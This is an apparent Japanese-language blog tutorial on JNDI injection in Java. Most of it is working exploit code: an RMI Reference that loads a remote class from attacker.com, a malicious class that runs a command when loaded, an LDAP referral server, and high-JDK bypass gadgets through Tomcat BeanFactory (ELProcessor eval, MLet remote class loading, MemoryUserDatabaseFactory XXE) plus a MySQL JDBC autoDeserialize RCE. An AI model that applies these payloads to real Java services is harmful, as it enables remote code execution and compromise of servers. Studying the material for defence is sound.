JNDIインジェクションの理解と実践

JNDIの基本概念

JNDI(Java Naming and Directory Interface)は、リソースに名前を付けてアクセスするためのAPIです。LDAP、RMI、DNS、CORBAなどのプロトコルをサポートしています。

RMIベースのJNDI利用

JNDI経由でRMIサービスにアクセスするコード例:

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) ctx.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayHello("JNDI"));
    }
}

JNDIインジェクション攻撃

攻撃者はlookupメソッドで指定されるリソースを操作することで、任意のコードを実行させる可能性があります。

Referenceクラスを利用した攻撃

public class JNDIServer {
    public static void main(String[] args) throws Exception {
        InitialContext context = new InitialContext();
        Reference ref = new Reference("MaliciousClass", "MaliciousClass", "http://attacker.com/");
        context.rebind("rmi://localhost:1099/exploit", ref);
    }
}

攻撃用クラス:

public class MaliciousClass {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            // エラーハンドリング
        }
    }
}

JDKバージョンによる制限とバイパス

2016年以降のJDKアップデートにより、RMI経由のJNDIインジェクションは制限されました。しかしLDAP経由では依然として脆弱性が存在していました。

LDAPサーバーの実装例

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), 7777, ...));
        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
        InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
        server.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        // 実装省略
    }
}

高バージョンJDKでのバイパス技術

BeanFactory + ELProcessor

TomcatのBeanFactoryを利用した攻撃コード:

public class JndiBypass {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", wrapper);
    }
}

MLetクラスを利用した探索

public class MLetJNDI {
    public static void main(String[] args) throws Exception {
        ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
        ref.add(new StringRefAddr("a", "org.apache.commons.collections.functors.InvokerTransformer"));
        ref.add(new StringRefAddr("b", "http://127.0.0.1:8888/"));
        ref.add(new StringRefAddr("c", "ExploitClass"));
        Registry registry = LocateRegistry.createRegistry(1099);
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", wrapper);
    }
}

MemoryUserDatabaseFactoryによるXXEとRCE

public class JndiXxe {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/xxe.xml"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", wrapper);
    }
}

JDBC経由のRCE

public class JdbcRce {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.sql.DataSource",
                null, "", "", false,
                "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);
        ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
        ref.add(new StringRefAddr("url", "jdbc:mysql://127.0.0.1:13240/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser"));
        ref.add(new StringRefAddr("initialSize", "1"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", wrapper);
    }
}

タグ: JNDI RMI LDAP Java インジェクション

8月1日 02:03 投稿